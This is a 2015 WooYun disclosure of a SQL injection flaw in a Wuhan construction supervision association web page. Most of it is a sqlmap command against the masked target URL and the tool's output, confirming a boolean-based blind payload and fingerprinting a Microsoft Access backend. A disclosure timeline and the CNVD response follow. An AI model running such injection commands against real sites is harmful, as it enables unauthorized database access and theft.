当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0138558

漏洞标题:武汉建设监理协会某页面存在SQL注射-第二枚

相关厂商:武汉建设监理协会

漏洞作者: linkey

提交时间:2015-09-04 15:32

修复时间:2015-10-22 08:42

公开时间:2015-10-22 08:42

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:8

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-09-04: 细节已通知厂商并且等待厂商处理中
2015-09-07: cncert国家互联网应急中心暂未能联系到相关单位,细节仅向通报机构公开
2015-09-17: 细节向核心白帽子及相关领域专家公开
2015-09-27: 细节向普通白帽子公开
2015-10-07: 细节向实习白帽子公开
2015-10-22: 细节向公众公开

简要描述:

RT

详细说明:

sqlsql:

python sqlmap.py -u "http://**.**.**.**/ind_qyyj.asp?id=119" --table


得出:

[00:16:22] [INFO] testing connection to the target url
[00:16:24] [INFO] testing if the url is stable, wait a few seconds
[00:16:25] [INFO] url is stable
[00:16:25] [INFO] testing if GET parameter 'id' is dynamic
[00:16:25] [INFO] confirming that GET parameter 'id' is dynamic
[00:16:25] [INFO] GET parameter 'id' is dynamic
[00:16:25] [WARNING] reflective value(s) found and filtering out
[00:16:25] [WARNING] heuristic test shows that GET parameter 'id' might not be injectable
[00:16:25] [INFO] testing for SQL injection on GET parameter 'id'
[00:16:25] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[00:16:30] [INFO] GET parameter 'id' is 'AND boolean-based blind - WHERE or HAVING clause' injectable
[00:16:30] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'
[00:16:30] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[00:16:31] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause'
[00:16:32] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[00:16:33] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[00:16:35] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[00:16:36] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[00:16:37] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[00:16:38] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[00:16:39] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[00:16:39] [INFO] testing 'Oracle AND time-based blind'
[00:16:42] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'
[00:16:42] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other injection technique found
[00:17:01] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[00:17:01] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using the --dbms option
[00:17:20] [INFO] checking if the injection point on GET parameter 'id' is a false positive
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] y
sqlmap identified the following injection points with a total of 62 HTTP(s) requests:


成功注射:

---
Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=119 AND 7676=7676
---
[00:17:28] [INFO] testing MySQL
[00:17:28] [WARNING] the back-end DBMS is not MySQL
[00:17:28] [INFO] testing Oracle
[00:17:29] [WARNING] the back-end DBMS is not Oracle
[00:17:29] [INFO] testing PostgreSQL
[00:17:30] [WARNING] the back-end DBMS is not PostgreSQL
[00:17:30] [INFO] testing Microsoft SQL Server
[00:17:30] [WARNING] the back-end DBMS is not Microsoft SQL Server
[00:17:30] [INFO] testing SQLite
[00:17:32] [WARNING] the back-end DBMS is not SQLite
[00:17:32] [INFO] testing Microsoft Access
[00:17:33] [INFO] confirming Microsoft Access
[00:17:33] [INFO] the back-end DBMS is Microsoft Access
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft Access
[00:17:33] [INFO] fetching tables for database: 'Microsoft_Access_masterdb'
[00:17:33] [INFO] fetching number of tables for database 'Microsoft_Access_masterdb'
[00:17:33] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[00:17:33] [INFO] retrieved:
[00:17:34] [WARNING] in case of continuous data retrieval problems you are advised to try a switch '--no-cast' and/or switch '--hex'
[00:17:34] [WARNING] unable to retrieve the number of tables for database 'Microsoft_Access_masterdb'
[00:17:34] [ERROR] cannot retrieve table names, back-end DBMS is Access

漏洞证明:

(4U296YBQYPYVY4F8C}IGUY.jpg

修复方案:

过滤咯

版权声明:转载请注明来源 linkey@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:8

确认时间:2015-09-07 08:40

厂商回复:

CNVD确认并复现所述情况,已经转由CNCERT下发给湖北分中心,由其后续协调网站管理单位处置。

最新状态:

暂无